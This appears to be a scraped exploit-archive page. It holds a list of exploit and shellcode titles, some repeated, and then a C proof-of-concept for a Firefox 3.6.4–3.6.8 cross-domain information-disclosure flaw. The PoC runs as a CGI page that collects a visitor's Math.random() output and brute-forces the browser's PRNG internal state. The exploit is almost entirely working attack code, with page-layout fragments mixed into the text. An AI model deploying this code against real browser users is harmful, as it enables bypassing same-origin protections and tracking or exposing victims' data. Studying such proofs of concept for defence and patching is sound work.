
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
106 lines
No EOL
2.7 KiB
C
106 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/43222/info
|
|
|
|
Mozilla Firefox is prone to a cross-domain information-disclosure vulnerability.
|
|
|
|
An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content.
|
|
|
|
Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible.
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
typedef unsigned long long int uint64;
|
|
typedef unsigned int uint32;
|
|
#define UINT64(x) (x##ULL)
|
|
#define a UINT64(0x5DEECE66D)
|
|
#define b UINT64(0xB)
|
|
uint64 adv(uint64 x)
|
|
{
|
|
return (a*x+b) & ((UINT64(1)<<48)-1);
|
|
}
|
|
unsigned int calc(double sample,uint64* state)
|
|
{
|
|
int v;
|
|
uint64 sample_int=sample*((double)(UINT64(1)<<53));
|
|
uint32 x1=sample_int>>27;
|
|
uint32 x2=sample_int & ((1<<27)-1);
|
|
uint32 out;
|
|
if ((sample>=1.0) || (sample<0.0))
|
|
{
|
|
// Error - bad input
|
|
return 1;
|
|
}
|
|
for (v=0;v<(1<<22);v++)
|
|
{
|
|
*state=adv((((uint64)x1)<<22)|v);
|
|
out=((*state)>>(48-27))&((1<<27)-1);
|
|
if (out==x2)
|
|
{
|
|
return 0;
|
|
}
|
|
}
|
|
// Could not find PRNG internal state
|
|
return 2;
|
|
}
|
|
int main(int argc, char* argv[])
|
|
{
|
|
char body[1000]="";
|
|
char head[]="\
|
|
<html>\
|
|
<body>\
|
|
<script>\
|
|
document.write('userAgent: '+navigator.userAgent);\
|
|
</script>\
|
|
<br>\
|
|
";
|
|
char tail[]="\
|
|
<form method='GET' onSubmit='f()'>\
|
|
<input type='hidden' name='r'>\
|
|
<input id='x' type='submit' name='dummy'\
|
|
value='Calculate Firefox 3.6.4-3.6.8 PRNG state'>\
|
|
</form>\
|
|
<script>\
|
|
function f()\
|
|
{\
|
|
document.forms[0].r.value=Math.random();\
|
|
}\
|
|
</script>\
|
|
</body>\
|
|
</html>\
|
|
";
|
|
char tail2[]="\
|
|
</body>\
|
|
</html>\
|
|
";
|
|
double r;
|
|
char msg[1000];
|
|
int rc;
|
|
uint64 state;
|
|
strcat(body,head);
|
|
if (strstr(getenv("QUERY_STRING"),"r=")!=NULL)
|
|
{
|
|
sscanf(getenv("QUERY_STRING"),"r=%lf",&r);
|
|
rc=calc(r,&state);
|
|
if (rc==0)
|
|
{
|
|
sprintf(msg,"PRNG state (hex): %012llx\n",state);
|
|
strcat(body,msg);
|
|
}
|
|
else
|
|
{
|
|
sprintf(msg,"Error in calc(): %d\n",rc);
|
|
strcat(body,msg);
|
|
}
|
|
strcat(body,tail2);
|
|
}
|
|
else
|
|
{
|
|
strcat(body,tail);
|
|
}
|
|
printf("Content-Type: text/html\r\n");
|
|
printf("Content-Length: %d\r\n",strlen(body));
|
|
printf("Cache-Control: no-cache\r\n");
|
|
printf("\r\n");
|
|
printf("%s",body);
|
|
return;
|
|
} |